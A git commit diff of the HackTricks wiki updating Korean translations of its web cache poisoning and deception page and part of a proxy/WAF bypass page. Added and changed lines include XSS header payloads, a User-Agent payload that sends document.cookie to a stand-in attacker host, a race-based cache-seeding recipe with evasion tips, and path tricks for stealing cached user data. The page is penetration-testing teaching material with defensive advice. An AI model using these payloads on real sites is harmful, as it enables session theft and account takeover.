mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest
This commit is contained in:
parent
4699bff90e
commit
3bc0d2e2aa
@ -6,8 +6,8 @@
|
||||
|
||||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
>
|
||||
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다.
|
||||
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 캐시에서 다른 애플리케이션 사용자에게 제공됩니다.
|
||||
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
## 캐시 오염
|
||||
|
||||
@ -16,16 +16,16 @@
|
||||
캐시 오염 공격의 실행에는 여러 단계가 포함됩니다:
|
||||
|
||||
1. **키가 없는 입력 식별**: 이는 요청이 캐시되기 위해 필요하지 않지만 서버가 반환하는 응답을 변경할 수 있는 매개변수입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
|
||||
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 서버의 응답을 공격자에게 유리하게 수정하는 방법을 파악하는 것입니다.
|
||||
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 공격자에게 유리한 방식으로 서버의 응답을 수정하기 위해 이러한 매개변수를 잘못 사용하는 방법을 파악하는 것입니다.
|
||||
3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다.
|
||||
|
||||
### 발견: HTTP 헤더 확인
|
||||
|
||||
일반적으로 응답이 **캐시에 저장되었을 때** **이를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
일반적으로 응답이 **캐시에 저장되었을 때** **그를 나타내는 헤더**가 있을 것입니다. 이 게시물에서 주의해야 할 헤더를 확인할 수 있습니다: [**HTTP 캐시 헤더**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### 발견: 캐시 오류 코드
|
||||
|
||||
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
|
||||
|
||||
더 많은 옵션은 다음에서 찾을 수 있습니다:
|
||||
|
||||
@ -33,11 +33,11 @@
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
|
||||
하지만 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
|
||||
|
||||
### 발견: 키가 없는 입력 식별 및 평가
|
||||
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 스크립트를 로드하도록 `X-Forwarded-For` 헤더를 사용하고 있을 수 있습니다:
|
||||
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 스크립트를 거기서 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용할 수 있습니다:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
@ -49,8 +49,8 @@ cache-poisoning-to-dos.md
|
||||
|
||||
악용할 수 있는 **페이지**를 **식별**하고 사용할 **매개변수**/**헤더**와 **악용하는 방법**을 파악한 후, 페이지를 캐시해야 합니다. 캐시에 가져오려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 시도해야 할 수도 있습니다.
|
||||
|
||||
응답의 헤더 **`X-Cache`**는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
헤더 **`Cache-Control`**은 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
응답의 **`X-Cache`** 헤더는 요청이 캐시되지 않았을 때 **`miss`** 값을 가질 수 있고, 캐시되었을 때는 **`hit`** 값을 가질 수 있으므로 매우 유용할 수 있습니다.\
|
||||
**`Cache-Control`** 헤더는 리소스가 캐시되고 있는지, 다음에 리소스가 다시 캐시될 때를 알기 위해 아는 것이 흥미롭습니다: `Cache-Control: public, max-age=1800`
|
||||
|
||||
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 종종 **캐시 키의 일부로 처리되는 추가 헤더**를 **지시하는 데 사용**되며, 일반적으로 키가 없는 경우에도 해당됩니다. 따라서 사용자가 타겟으로 하는 피해자의 `User-Agent`를 알고 있다면, 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 오염시킬 수 있습니다.
|
||||
|
||||
@ -62,14 +62,14 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### 가장 쉬운 예시
|
||||
|
||||
헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
|
||||
`X-Forwarded-For`와 같은 헤더가 응답에 정화되지 않고 반영되고 있습니다.\
|
||||
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아닙니다._
|
||||
_이 요청은 `/en?region=uk`에 대한 것이며 `/en`에 대한 것이 아님을 유의하십시오._
|
||||
|
||||
### DoS를 위한 캐시 오염
|
||||
|
||||
@ -79,7 +79,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### CDN을 통한 캐시 오염
|
||||
|
||||
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명됩니다:
|
||||
**[이 글](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
|
||||
|
||||
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
|
||||
- CDN은 `%2F..%2F`를 디코딩하거나 정규화하지 않으므로, 이를 사용하여 **캐시될 수 있는 다른 민감한 위치에 접근하기 위한 경로 탐색**으로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
@ -87,7 +87,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용
|
||||
|
||||
쿠키는 페이지의 응답에 반영될 수도 있습니다. 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -124,7 +124,7 @@ X-Forwarded-Scheme: http
|
||||
```
|
||||
### 제한된 `Vary` 헤더로 악용하기
|
||||
|
||||
**`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있는 경우, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
|
||||
만약 **`X-Host`** 헤더가 **JS 리소스를 로드하기 위한 도메인 이름**으로 사용되고 있지만, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 나타내고 있다면, 피해자의 User-Agent를 유출하고 해당 User-Agent를 사용하여 캐시를 오염시킬 방법을 찾아야 합니다:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -133,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
URL와 본문에 요청을 포함한 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서의 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
URL과 본문에 요청을 포함하여 GET 요청을 보냅니다. 웹 서버가 본문에서 요청을 사용하지만 캐시 서버가 URL에서 요청을 캐시하는 경우, 해당 URL에 접근하는 모든 사용자는 실제로 본문에서 매개변수를 사용하게 됩니다. James Kettle이 Github 웹사이트에서 발견한 취약점과 같습니다:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -144,27 +144,63 @@ report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
### 매개변수 클로킹
|
||||
|
||||
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 분리할 수 있습니다. 이를 통해 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
|
||||
예를 들어, **parameters**를 ruby 서버에서 **`;`** 문자를 사용하여 **`&`** 대신 구분할 수 있습니다. 이를 사용하여 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣고 악용할 수 있습니다.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
### HTTP 요청 스머글링을 악용한 HTTP 캐시 오염 공격
|
||||
|
||||
여기에서 [Cache Poisoning 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
|
||||
여기에서 [HTTP 요청 스머글링을 악용한 캐시 오염 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)에 대해 알아보세요.
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
### 웹 캐시 오염에 대한 자동화된 테스트
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)를 사용하여 웹 캐시 오염을 자동으로 테스트할 수 있습니다. 다양한 기술을 지원하며 매우 사용자 정의가 가능합니다.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
예제 사용법: `wcvs -u example.com`
|
||||
|
||||
## Vulnerable Examples
|
||||
### 헤더 반사 XSS + CDN/WAF 지원 캐시 시딩 (User-Agent, 자동 캐시된 .js)
|
||||
|
||||
이 실제 패턴은 헤더 기반 반사 원시 기능과 CDN/WAF 동작을 연결하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 오염시킵니다:
|
||||
|
||||
- 주요 HTML은 신뢰할 수 없는 요청 헤더(예: `User-Agent`)를 실행 가능한 컨텍스트로 반사했습니다.
|
||||
- CDN은 캐시 헤더를 제거했지만 내부/원본 캐시가 존재했습니다. CDN은 또한 정적 확장자(예: `.js`)로 끝나는 요청을 자동으로 캐시했으며, WAF는 정적 자산에 대한 GET 요청에 대해 더 약한 콘텐츠 검사를 적용했습니다.
|
||||
- 요청 흐름의 특이성으로 인해 `.js` 경로에 대한 요청이 이후 주요 HTML에 사용되는 캐시 키/변형에 영향을 미쳐 헤더 반사를 통한 사용자 간 XSS를 가능하게 했습니다.
|
||||
|
||||
실용적인 레시피(인기 있는 CDN/WAF에서 관찰됨):
|
||||
|
||||
1) 깨끗한 IP에서(이전 평판 기반 하락을 피하기 위해) 브라우저 또는 Burp Proxy Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
|
||||
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "병렬로 그룹 전송"을 사용합니다(단일 패킷 모드가 가장 잘 작동합니다):
|
||||
- 첫 번째 요청: 악성 `User-Agent`를 보내면서 동일한 출처의 `.js` 리소스 경로를 GET합니다.
|
||||
- 즉시 후에: 주요 페이지(`/`)를 GET합니다.
|
||||
3) CDN/WAF 라우팅 경쟁과 자동 캐시된 `.js`는 종종 오염된 캐시 HTML 변형을 시드하여 동일한 캐시 키 조건(예: 동일한 `Vary` 차원인 `User-Agent`)을 공유하는 다른 방문자에게 제공됩니다.
|
||||
|
||||
예제 헤더 페이로드(비 HttpOnly 쿠키를 유출하기 위해):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
운영 팁:
|
||||
|
||||
- 많은 CDN이 캐시 헤더를 숨깁니다. 오염은 다중 시간 새로 고침 주기에서만 나타날 수 있습니다. 여러 관점 IP를 사용하고 속도를 조절하여 비율 제한 또는 평판 트리거를 피하십시오.
|
||||
- CDN의 자체 클라우드에서 IP를 사용하면 라우팅 일관성이 향상될 수 있습니다.
|
||||
- 엄격한 CSP가 있는 경우에도, 반사가 메인 HTML 컨텍스트에서 실행되고 CSP가 인라인 실행을 허용하거나 우회되는 경우 여전히 작동합니다.
|
||||
|
||||
영향:
|
||||
|
||||
- 세션 쿠키가 `HttpOnly`가 아닌 경우, 제로 클릭 ATO가 가능하며, 오염된 HTML을 제공받는 모든 사용자로부터 `document.cookie`를 대량으로 유출할 수 있습니다.
|
||||
|
||||
방어:
|
||||
|
||||
- 요청 헤더를 HTML에 반영하는 것을 중지하십시오. 불가피한 경우에는 엄격하게 컨텍스트 인코딩하십시오. CDN과 오리진 캐시 정책을 정렬하고 신뢰할 수 없는 헤더에 따라 다르게 설정하지 마십시오.
|
||||
- WAF가 `.js` 요청 및 정적 경로에 대해 일관되게 콘텐츠 검사를 적용하는지 확인하십시오.
|
||||
- 세션 쿠키에 `HttpOnly` (및 `Secure`, `SameSite`)를 설정하십시오.
|
||||
|
||||
## 취약한 예시
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달하고, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다(조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다. 오직 호스트, 경로 및 쿼리만 포함되었습니다.
|
||||
ATS는 URL 내의 조각을 제거하지 않고 전달했으며, 호스트, 경로 및 쿼리만 사용하여 캐시 키를 생성했습니다 (조각을 무시함). 따라서 요청 `/#/../?r=javascript:alert(1)`은 백엔드에 `/#/../?r=javascript:alert(1)`로 전송되었고, 캐시 키에는 페이로드가 포함되지 않았습니다.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -172,60 +208,60 @@ content-type 헤더에 잘못된 값을 보내면 405 캐시 응답이 발생했
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab은 정적 콘텐츠를 저장하기 위해 GCP 버킷을 사용합니다. **GCP Buckets**는 **헤더 `x-http-method-override`**를 지원합니다. 따라서 `x-http-method-override: HEAD` 헤더를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. 또한 `PURGE` 메서드를 지원할 수 있었습니다.
|
||||
GitLab은 GCP 버킷을 사용하여 정적 콘텐츠를 저장합니다. **GCP 버킷**은 **헤더 `x-http-method-override`**를 지원합니다. 따라서 헤더 `x-http-method-override: HEAD`를 보내고 캐시를 오염시켜 빈 응답 본문을 반환하도록 할 수 있었습니다. `PURGE` 메서드도 지원할 수 있습니다.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
### Rack 미들웨어 (Ruby on Rails)
|
||||
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. `x-forwarded-scheme: http` 헤더가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
Ruby on Rails 애플리케이션에서는 Rack 미들웨어가 자주 사용됩니다. Rack 코드의 목적은 **`x-forwarded-scheme`** 헤더의 값을 요청의 스킴으로 설정하는 것입니다. 헤더 `x-forwarded-scheme: http`가 전송되면 동일한 위치로 301 리디렉션이 발생하여 해당 리소스에 대한 서비스 거부(DoS)를 유발할 수 있습니다. 또한 애플리케이션은 `X-forwarded-host` 헤더를 인식하고 사용자를 지정된 호스트로 리디렉션할 수 있습니다. 이 동작은 공격자의 서버에서 JavaScript 파일을 로드하게 하여 보안 위험을 초래할 수 있습니다.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
### 403 및 스토리지 버킷
|
||||
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 Authorization 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 다른 프록시 서비스에서도 여전히 존재할 수 있습니다.
|
||||
Cloudflare는 이전에 403 응답을 캐시했습니다. 잘못된 인증 헤더로 S3 또는 Azure Storage Blobs에 접근하려고 하면 403 응답이 캐시되었습니다. Cloudflare는 403 응답 캐싱을 중단했지만, 이 동작은 여전히 다른 프록시 서비스에서 존재할 수 있습니다.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
### 키가 있는 매개변수 주입
|
||||
|
||||
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 함께 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
|
||||
캐시는 종종 캐시 키에 특정 GET 매개변수를 포함합니다. 예를 들어, Fastly의 Varnish는 요청에서 `size` 매개변수를 캐시했습니다. 그러나 잘못된 값으로 URL 인코딩된 매개변수(예: `siz%65`)가 전송되면 캐시 키는 올바른 `size` 매개변수를 사용하여 구성됩니다. 그러나 백엔드는 URL 인코딩된 매개변수의 값을 처리합니다. 두 번째 `size` 매개변수를 URL 인코딩하면 캐시에서 생략되지만 백엔드에서 사용됩니다. 이 매개변수에 0 값을 할당하면 캐시 가능한 400 Bad Request 오류가 발생합니다.
|
||||
|
||||
### User Agent Rules
|
||||
### 사용자 에이전트 규칙
|
||||
|
||||
일부 개발자는 서버 부하를 관리하기 위해 FFUF 또는 Nuclei와 같은 고트래픽 도구의 사용자 에이전트와 일치하는 요청을 차단합니다. 아이러니하게도, 이 접근 방식은 캐시 오염 및 DoS와 같은 취약점을 도입할 수 있습니다.
|
||||
|
||||
### Illegal Header Fields
|
||||
### 불법 헤더 필드
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. `\`와 같은 불법 문자가 포함된 헤더를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)는 헤더 이름에서 허용되는 문자를 지정합니다. 지정된 **tchar** 범위를 벗어난 문자가 포함된 헤더는 이상적으로 400 Bad Request 응답을 유발해야 합니다. 그러나 실제로 서버는 항상 이 표준을 준수하지 않습니다. 주목할 만한 예는 Akamai로, 유효하지 않은 문자가 포함된 헤더를 전달하고 `cache-control` 헤더가 없으면 400 오류를 캐시합니다. 불법 문자가 포함된 헤더(예: `\`)를 보내면 캐시 가능한 400 Bad Request 오류가 발생하는 패턴이 발견되었습니다.
|
||||
|
||||
### Finding new headers
|
||||
### 새로운 헤더 찾기
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Cache Deception
|
||||
## 캐시 기만
|
||||
|
||||
Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 로드하게 만드는 것입니다.**
|
||||
캐시 기만의 목표는 클라이언트가 **민감한 정보가 포함된 리소스를 캐시에 저장하도록 만드는 것입니다**.
|
||||
|
||||
우선, **extensions**인 `.css`, `.js`, `.png` 등이 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의해야 합니다. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **extension**을 보고 응답을 저장할 가능성이 높습니다. 그러나 **application**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **replaying**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
|
||||
우선, **확장자**가 `.css`, `.js`, `.png` 등과 같은 파일은 일반적으로 **캐시**에 **저장**되도록 **구성**되어 있다는 점에 유의하십시오. 따라서 `www.example.com/profile.php/nonexistent.js`에 접근하면 캐시는 `.js` **확장자**를 인식하여 응답을 저장할 가능성이 높습니다. 그러나 **애플리케이션**이 _www.example.com/profile.php_에 저장된 **민감한** 사용자 콘텐츠로 **재생**하는 경우, 다른 사용자로부터 해당 콘텐츠를 **훔칠** 수 있습니다.
|
||||
|
||||
테스트할 다른 사항들:
|
||||
테스트할 다른 사항:
|
||||
|
||||
- _www.example.com/profile.php/.js_
|
||||
- _www.example.com/profile.php/.css_
|
||||
- _www.example.com/profile.php/test.js_
|
||||
- _www.example.com/profile.php/../test.js_
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Use lesser known extensions such as_ `.avif`
|
||||
- _덜 알려진 확장자 사용 예:_.avif
|
||||
|
||||
또한, 이 글에서 매우 명확한 예를 찾을 수 있습니다: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
예제에서는 _http://www.example.com/home.php/non-existent.css_와 같은 존재하지 않는 페이지를 로드하면 _http://www.example.com/home.php_ (**사용자의 민감한 정보 포함**)의 내용이 반환되고 캐시 서버가 결과를 저장한다고 설명합니다.\
|
||||
그런 다음, **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
그런 다음 **공격자**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
|
||||
**cache proxy**는 **extension**에 따라 파일을 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되지 않아야 합니다. 예를 들어, _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다(이는 _.css_ 파일에 대해 예상되는 것입니다).
|
||||
**캐시 프록시**는 **파일의 확장자**(_css_)를 기반으로 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시하지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다 (이는 _.css_ 파일에 대한 예상입니다).
|
||||
|
||||
여기에서 [Cache Deceptions 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요.
|
||||
여기에서 [HTTP 요청 스머글링을 악용한 캐시 기만 공격 수행 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보십시오.
|
||||
|
||||
## Automatic Tools
|
||||
## 자동 도구
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): URL 목록에서 웹 캐시 오염 취약점을 찾고 여러 주입 기술을 테스트하는 Golang 스캐너입니다.
|
||||
|
||||
## References
|
||||
## 참고 문헌
|
||||
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
||||
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
|
||||
@ -233,6 +269,8 @@ Cache Deception의 목표는 클라이언트가 **민감한 정보가 포함된
|
||||
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -17,7 +17,7 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
Nginx는 우회 방지를 위해 경로 정규화를 수행합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우, 이 방어를 우회할 수 있을 가능성이 있습니다.
|
||||
Nginx는 우회 방지를 위해 경로 정규화를 수행한 후 이를 확인합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우, 이 방어를 우회할 수 있을 가능성이 있습니다.
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx는 `/admin.php`에 대한 접근을 차단하도록 구성되어 있지만, `/admin.php/index.php`에 접근하여 이를 우회할 수 있습니다.
|
||||
Nginx는 `/admin.php`에 대한 접근을 차단하도록 구성되어 있지만, `/admin.php/index.php`에 접근함으로써 이를 우회할 수 있습니다.
|
||||
|
||||
### 방지 방법
|
||||
```plaintext
|
||||
@ -74,12 +74,12 @@ deny all;
|
||||
|
||||
### 경로 혼동
|
||||
|
||||
